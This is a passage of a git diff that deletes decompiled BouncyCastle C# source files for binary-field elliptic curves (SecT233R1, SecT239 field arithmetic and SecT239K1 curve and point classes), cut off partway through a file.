null); - m_a = FromBigInteger(BigInteger.One); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("0066647EDE6C332C7F8C0923BB58213B333B20E9CE4281FE115F7D8F90AD"))); - m_order = new BigInteger(1, Hex.Decode("01000000000000000000000000000013E974E72F8A6922031D2603CFE0D7")); - m_cofactor = BigInteger.Two; - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT233R1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT233FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT233R1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT233R1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 4 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy64(((SecT233FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 4; - Nat256.Copy64(((SecT233FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 4; - } - return new SecT233R1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233R1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233R1Point.cs deleted file mode 100644 index 7e9bb9a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT233R1Point.cs +++ /dev/null @@ -1,256 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT233R1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return false; - } - ECFieldElement rawYCoord = base.RawYCoord; - return rawYCoord.TestBitZero() != rawXCoord.TestBitZero(); - } - } - - public SecT233R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SecT233R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SecT233R1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SecT233R1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - if (rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .AddOne(); - if (eCFieldElement10.IsZero) - { - return new SecT233R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT233R1Point(curve, eCFieldElement10, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT233R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b); - if (eCFieldElement3.IsZero) - { - return new SecT233R1Point(curve, eCFieldElement3, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT233R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = eCFieldElement3.Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.Multiply(eCFieldElement3).Add(b2).MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement5 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement6 = eCFieldElement5.Add(b4).Square(); - if (eCFieldElement6.IsZero) - { - if (eCFieldElement4.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement4.IsZero) - { - return new SecT233R1Point(curve, eCFieldElement4, curve.B.Sqrt(), base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement4.Square().Multiply(eCFieldElement5); - ECFieldElement eCFieldElement7 = eCFieldElement4.Multiply(eCFieldElement6).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement4.Add(eCFieldElement6).Square().MultiplyPlusProduct(b4, rawYCoord2.AddOne(), eCFieldElement7); - return new SecT233R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement7 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT233R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239Field.cs deleted file mode 100644 index 84b9f06..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239Field.cs +++ /dev/null @@ -1,339 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT239Field -{ - private const ulong M47 = 140737488355327uL; - - private const ulong M60 = 1152921504606846975uL; - - public static void Add(ulong[] x, ulong[] y, ulong[] z) - { - z[0] = x[0] ^ y[0]; - z[1] = x[1] ^ y[1]; - z[2] = x[2] ^ y[2]; - z[3] = x[3] ^ y[3]; - } - - public static void AddExt(ulong[] xx, ulong[] yy, ulong[] zz) - { - zz[0] = xx[0] ^ yy[0]; - zz[1] = xx[1] ^ yy[1]; - zz[2] = xx[2] ^ yy[2]; - zz[3] = xx[3] ^ yy[3]; - zz[4] = xx[4] ^ yy[4]; - zz[5] = xx[5] ^ yy[5]; - zz[6] = xx[6] ^ yy[6]; - zz[7] = xx[7] ^ yy[7]; - } - - public static void AddOne(ulong[] x, ulong[] z) - { - z[0] = x[0] ^ 1; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - } - - public static ulong[] FromBigInteger(BigInteger x) - { - ulong[] array = Nat256.FromBigInteger64(x); - Reduce17(array, 0); - return array; - } - - public static void Invert(ulong[] x, ulong[] z) - { - if (Nat256.IsZero64(x)) - { - throw new InvalidOperationException(); - } - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - Square(x, array); - Multiply(array, x, array); - Square(array, array); - Multiply(array, x, array); - SquareN(array, 3, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 7, array); - Multiply(array, array2, array); - SquareN(array, 14, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 29, array); - Multiply(array, array2, array); - Square(array, array); - Multiply(array, x, array); - SquareN(array, 59, array2); - Multiply(array2, array, array2); - Square(array2, array2); - Multiply(array2, x, array2); - SquareN(array2, 119, array); - Multiply(array, array2, array); - Square(array, z); - } - - public static void Multiply(ulong[] x, ulong[] y, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplMultiply(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = Nat256.CreateExt64(); - ImplMultiply(x, y, array); - AddExt(zz, array, zz); - } - - public static void Reduce(ulong[] xx, ulong[] z) - { - ulong num = xx[0]; - ulong num2 = xx[1]; - ulong num3 = xx[2]; - ulong num4 = xx[3]; - ulong num5 = xx[4]; - ulong num6 = xx[5]; - ulong num7 = xx[6]; - ulong num8 = xx[7]; - num4 ^= num8 << 17; - num5 ^= num8 >> 47; - num6 ^= num8 << 47; - num7 ^= num8 >> 17; - num3 ^= num7 << 17; - num4 ^= num7 >> 47; - num5 ^= num7 << 47; - num6 ^= num7 >> 17; - num2 ^= num6 << 17; - num3 ^= num6 >> 47; - num4 ^= num6 << 47; - num5 ^= num6 >> 17; - num ^= num5 << 17; - num2 ^= num5 >> 47; - num3 ^= num5 << 47; - num4 ^= num5 >> 17; - ulong num9 = num4 >> 47; - z[0] = num ^ num9; - z[1] = num2; - z[2] = num3 ^ (num9 << 30); - z[3] = num4 & 0x7FFFFFFFFFFFL; - } - - public static void Reduce17(ulong[] z, int zOff) - { - ulong num = z[zOff + 3]; - ulong num2 = num >> 47; - ulong[] array2; - ulong[] array = (array2 = z); - nint num3 = zOff; - array[zOff] = array2[num3] ^ num2; - ulong[] array3 = (array2 = z); - int num4 = zOff + 2; - num3 = num4; - array3[num4] = array2[num3] ^ (num2 << 30); - z[zOff + 3] = num & 0x7FFFFFFFFFFFL; - } - - public static void Sqrt(ulong[] x, ulong[] z) - { - ulong num = Interleave.Unshuffle(x[0]); - ulong num2 = Interleave.Unshuffle(x[1]); - ulong num3 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num4 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - num = Interleave.Unshuffle(x[2]); - num2 = Interleave.Unshuffle(x[3]); - ulong num5 = (num & 0xFFFFFFFFu) | (num2 << 32); - ulong num6 = (num >> 32) | (num2 & 0xFFFFFFFF00000000uL); - ulong num7 = num6 >> 49; - ulong num8 = (num4 >> 49) | (num6 << 15); - num6 ^= num4 << 15; - ulong[] array = Nat256.CreateExt64(); - int[] array2 = new int[2] { 39, 120 }; - ulong[] array4; - for (int i = 0; i < array2.Length; i++) - { - int num9 = array2[i] >> 6; - int num10 = array2[i] & 0x3F; - ulong[] array3 = (array4 = array); - nint num11 = num9; - array3[num9] = array4[num11] ^ (num4 << num10); - ulong[] array5 = (array4 = array); - int num12 = num9 + 1; - num11 = num12; - array5[num12] = array4[num11] ^ ((num6 << num10) | (num4 >> -num10)); - ulong[] array6 = (array4 = array); - int num13 = num9 + 2; - num11 = num13; - array6[num13] = array4[num11] ^ ((num8 << num10) | (num6 >> -num10)); - ulong[] array7 = (array4 = array); - int num14 = num9 + 3; - num11 = num14; - array7[num14] = array4[num11] ^ ((num7 << num10) | (num8 >> -num10)); - ulong[] array8 = (array4 = array); - int num15 = num9 + 4; - num11 = num15; - array8[num15] = array4[num11] ^ (num7 >> -num10); - } - Reduce(array, z); - (array4 = z)[0] = array4[0] ^ num3; - (array4 = z)[1] = array4[1] ^ num5; - } - - public static void Square(ulong[] x, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - } - - public static void SquareAddToExt(ulong[] x, ulong[] zz) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - AddExt(zz, array, zz); - } - - public static void SquareN(ulong[] x, int n, ulong[] z) - { - ulong[] array = Nat256.CreateExt64(); - ImplSquare(x, array); - Reduce(array, z); - while (--n > 0) - { - ImplSquare(z, array); - Reduce(array, z); - } - } - - public static uint Trace(ulong[] x) - { - return (uint)((int)(x[0] ^ (x[1] >> 17) ^ (x[2] >> 34)) & 1); - } - - protected static void ImplCompactExt(ulong[] zz) - { - ulong num = zz[0]; - ulong num2 = zz[1]; - ulong num3 = zz[2]; - ulong num4 = zz[3]; - ulong num5 = zz[4]; - ulong num6 = zz[5]; - ulong num7 = zz[6]; - ulong num8 = zz[7]; - zz[0] = num ^ (num2 << 60); - zz[1] = (num2 >> 4) ^ (num3 << 56); - zz[2] = (num3 >> 8) ^ (num4 << 52); - zz[3] = (num4 >> 12) ^ (num5 << 48); - zz[4] = (num5 >> 16) ^ (num6 << 44); - zz[5] = (num6 >> 20) ^ (num7 << 40); - zz[6] = (num7 >> 24) ^ (num8 << 36); - zz[7] = num8 >> 28; - } - - protected static void ImplExpand(ulong[] x, ulong[] z) - { - ulong num = x[0]; - ulong num2 = x[1]; - ulong num3 = x[2]; - ulong num4 = x[3]; - z[0] = num & 0xFFFFFFFFFFFFFFFL; - z[1] = ((num >> 60) ^ (num2 << 4)) & 0xFFFFFFFFFFFFFFFL; - z[2] = ((num2 >> 56) ^ (num3 << 8)) & 0xFFFFFFFFFFFFFFFL; - z[3] = (num3 >> 52) ^ (num4 << 12); - } - - protected static void ImplMultiply(ulong[] x, ulong[] y, ulong[] zz) - { - ulong[] array = new ulong[4]; - ulong[] array2 = new ulong[4]; - ImplExpand(x, array); - ImplExpand(y, array2); - ImplMulwAcc(array[0], array2[0], zz, 0); - ImplMulwAcc(array[1], array2[1], zz, 1); - ImplMulwAcc(array[2], array2[2], zz, 2); - ImplMulwAcc(array[3], array2[3], zz, 3); - ulong[] array4; - for (int num = 5; num > 0; num--) - { - ulong[] array3 = (array4 = zz); - int num2 = num; - nint num3 = num2; - array3[num2] = array4[num3] ^ zz[num - 1]; - } - ImplMulwAcc(array[0] ^ array[1], array2[0] ^ array2[1], zz, 1); - ImplMulwAcc(array[2] ^ array[3], array2[2] ^ array2[3], zz, 3); - for (int num4 = 7; num4 > 1; num4--) - { - ulong[] array5 = (array4 = zz); - int num5 = num4; - nint num3 = num5; - array5[num5] = array4[num3] ^ zz[num4 - 2]; - } - ulong num6 = array[0] ^ array[2]; - ulong num7 = array[1] ^ array[3]; - ulong num8 = array2[0] ^ array2[2]; - ulong num9 = array2[1] ^ array2[3]; - ImplMulwAcc(num6 ^ num7, num8 ^ num9, zz, 3); - ulong[] array6 = new ulong[3]; - ImplMulwAcc(num6, num8, array6, 0); - ImplMulwAcc(num7, num9, array6, 1); - ulong num10 = array6[0]; - ulong num11 = array6[1]; - ulong num12 = array6[2]; - (array4 = zz)[2] = array4[2] ^ num10; - (array4 = zz)[3] = array4[3] ^ (num10 ^ num11); - (array4 = zz)[4] = array4[4] ^ (num12 ^ num11); - (array4 = zz)[5] = array4[5] ^ num12; - ImplCompactExt(zz); - } - - protected static void ImplMulwAcc(ulong x, ulong y, ulong[] z, int zOff) - { - ulong[] array = new ulong[8]; - array[1] = y; - array[2] = array[1] << 1; - array[3] = array[2] ^ y; - array[4] = array[2] << 1; - array[5] = array[4] ^ y; - array[6] = array[3] << 1; - array[7] = array[6] ^ y; - uint num = (uint)x; - ulong num2 = 0uL; - ulong num3 = array[num & 7] ^ (array[(num >> 3) & 7] << 3); - int num4 = 54; - do - { - num = (uint)(x >> num4); - ulong num5 = array[num & 7] ^ (array[(num >> 3) & 7] << 3); - num3 ^= num5 << num4; - num2 ^= num5 >> -num4; - } - while ((num4 -= 6) > 0); - num2 ^= (x & 0x820820820820820L & (ulong)((long)(y << 4) >> 63)) >> 5; - ulong[] array3; - ulong[] array2 = (array3 = z); - nint num6 = zOff; - array2[zOff] = array3[num6] ^ (num3 & 0xFFFFFFFFFFFFFFFL); - ulong[] array4 = (array3 = z); - int num7 = zOff + 1; - num6 = num7; - array4[num7] = array3[num6] ^ ((num3 >> 60) ^ (num2 << 4)); - } - - protected static void ImplSquare(ulong[] x, ulong[] zz) - { - Interleave.Expand64To128(x[0], zz, 0); - Interleave.Expand64To128(x[1], zz, 2); - Interleave.Expand64To128(x[2], zz, 4); - ulong num = x[3]; - zz[6] = Interleave.Expand32to64((uint)num); - zz[7] = Interleave.Expand16to32((uint)(num >> 32)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239FieldElement.cs deleted file mode 100644 index b4d03d6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239FieldElement.cs +++ /dev/null @@ -1,195 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT239FieldElement : AbstractF2mFieldElement -{ - protected internal readonly ulong[] x; - - public override bool IsOne => Nat256.IsOne64(x); - - public override bool IsZero => Nat256.IsZero64(x); - - public override string FieldName => "SecT239Field"; - - public override int FieldSize => 239; - - public virtual int Representation => 2; - - public virtual int M => 239; - - public virtual int K1 => 158; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT239FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.BitLength > 239) - { - throw new ArgumentException("value invalid for SecT239FieldElement", "x"); - } - this.x = SecT239Field.FromBigInteger(x); - } - - public SecT239FieldElement() - { - x = Nat256.Create64(); - } - - protected internal SecT239FieldElement(ulong[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return (x[0] & 1) != 0; - } - - public override BigInteger ToBigInteger() - { - return Nat256.ToBigInteger64(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - ulong[] z = Nat256.Create64(); - SecT239Field.Add(x, ((SecT239FieldElement)b).x, z); - return new SecT239FieldElement(z); - } - - public override ECFieldElement AddOne() - { - ulong[] z = Nat256.Create64(); - SecT239Field.AddOne(x, z); - return new SecT239FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - return Add(b); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - ulong[] z = Nat256.Create64(); - SecT239Field.Multiply(x, ((SecT239FieldElement)b).x, z); - return new SecT239FieldElement(z); - } - - public override ECFieldElement MultiplyMinusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - return MultiplyPlusProduct(b, x, y); - } - - public override ECFieldElement MultiplyPlusProduct(ECFieldElement b, ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] y2 = ((SecT239FieldElement)b).x; - ulong[] array2 = ((SecT239FieldElement)x).x; - ulong[] y3 = ((SecT239FieldElement)y).x; - ulong[] array3 = Nat256.CreateExt64(); - SecT239Field.MultiplyAddToExt(array, y2, array3); - SecT239Field.MultiplyAddToExt(array2, y3, array3); - ulong[] z = Nat256.Create64(); - SecT239Field.Reduce(array3, z); - return new SecT239FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - return Multiply(b.Invert()); - } - - public override ECFieldElement Negate() - { - return this; - } - - public override ECFieldElement Square() - { - ulong[] z = Nat256.Create64(); - SecT239Field.Square(x, z); - return new SecT239FieldElement(z); - } - - public override ECFieldElement SquareMinusProduct(ECFieldElement x, ECFieldElement y) - { - return SquarePlusProduct(x, y); - } - - public override ECFieldElement SquarePlusProduct(ECFieldElement x, ECFieldElement y) - { - ulong[] array = this.x; - ulong[] array2 = ((SecT239FieldElement)x).x; - ulong[] y2 = ((SecT239FieldElement)y).x; - ulong[] array3 = Nat256.CreateExt64(); - SecT239Field.SquareAddToExt(array, array3); - SecT239Field.MultiplyAddToExt(array2, y2, array3); - ulong[] z = Nat256.Create64(); - SecT239Field.Reduce(array3, z); - return new SecT239FieldElement(z); - } - - public override ECFieldElement SquarePow(int pow) - { - if (pow < 1) - { - return this; - } - ulong[] z = Nat256.Create64(); - SecT239Field.SquareN(x, pow, z); - return new SecT239FieldElement(z); - } - - public override int Trace() - { - return (int)SecT239Field.Trace(x); - } - - public override ECFieldElement Invert() - { - ulong[] z = Nat256.Create64(); - SecT239Field.Invert(x, z); - return new SecT239FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - ulong[] z = Nat256.Create64(); - SecT239Field.Sqrt(x, z); - return new SecT239FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SecT239FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SecT239FieldElement); - } - - public virtual bool Equals(SecT239FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat256.Eq64(x, other.x); - } - - public override int GetHashCode() - { - return 0x16CAFFE ^ Arrays.GetHashCode(x, 0, 4); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239K1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239K1Curve.cs deleted file mode 100644 index f8f376c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239K1Curve.cs +++ /dev/null @@ -1,133 +0,0 @@ -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT239K1Curve : AbstractF2mCurve -{ - private class SecT239K1LookupTable : ECLookupTable - { - private readonly SecT239K1Curve m_outer; - - private readonly ulong[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SecT239K1LookupTable(SecT239K1Curve outer, ulong[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - ulong[] array = Nat256.Create64(); - ulong[] array2 = Nat256.Create64(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - ulong num2 = (ulong)((i ^ index) - 1 >> 31); - for (int j = 0; j < 4; j++) - { - ulong[] array4; - ulong[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - ulong[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 4 + j] & num2); - } - num += 8; - } - return m_outer.CreateRawPoint(new SecT239FieldElement(array), new SecT239FieldElement(array2), withCompression: false); - } - } - - private const int SECT239K1_DEFAULT_COORDS = 6; - - private const int SECT239K1_FE_LONGS = 4; - - protected readonly SecT239K1Point m_infinity; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => 239; - - public override bool IsKoblitz => true; - - public virtual int M => 239; - - public virtual bool IsTrinomial => true; - - public virtual int K1 => 158; - - public virtual int K2 => 0; - - public virtual int K3 => 0; - - public SecT239K1Curve() - : base(239, 158, 0, 0) - { - m_infinity = new SecT239K1Point(this, null, null); - m_a = FromBigInteger(BigInteger.Zero); - m_b = FromBigInteger(BigInteger.One); - m_order = new BigInteger(1, Hex.Decode("2000000000000000000000000000005A79FEC67CB6E91F1C1DA800E478A5")); - m_cofactor = BigInteger.ValueOf(4L); - m_coord = 6; - } - - protected override ECCurve CloneCurve() - { - return new SecT239K1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 6) - { - return true; - } - return false; - } - - protected override ECMultiplier CreateDefaultMultiplier() - { - return new WTauNafMultiplier(); - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SecT239FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SecT239K1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SecT239K1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - ulong[] array = new ulong[len * 4 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy64(((SecT239FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 4; - Nat256.Copy64(((SecT239FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 4; - } - return new SecT239K1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239K1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239K1Point.cs deleted file mode 100644 index f462a4a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Sec/SecT239K1Point.cs +++ /dev/null @@ -1,259 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC.Custom.Sec; - -internal class SecT239K1Point : AbstractF2mPoint -{ - public override ECFieldElement YCoord - { - get - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - if (base.IsInfinity || rawXCoord.IsZero) - { - return rawYCoord; - } - ECFieldElement eCFieldElement = rawYCoord.Add(rawXCoord).Multiply(rawXCoord); - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - if (!eCFieldElement2.IsOne) - { - eCFieldElement = eCFieldElement.Divide(eCFieldElement2); - } - return eCFieldElement; - } - } - - protected internal override bool CompressionYTilde - { - get - { - ECFieldElement rawXCoord = 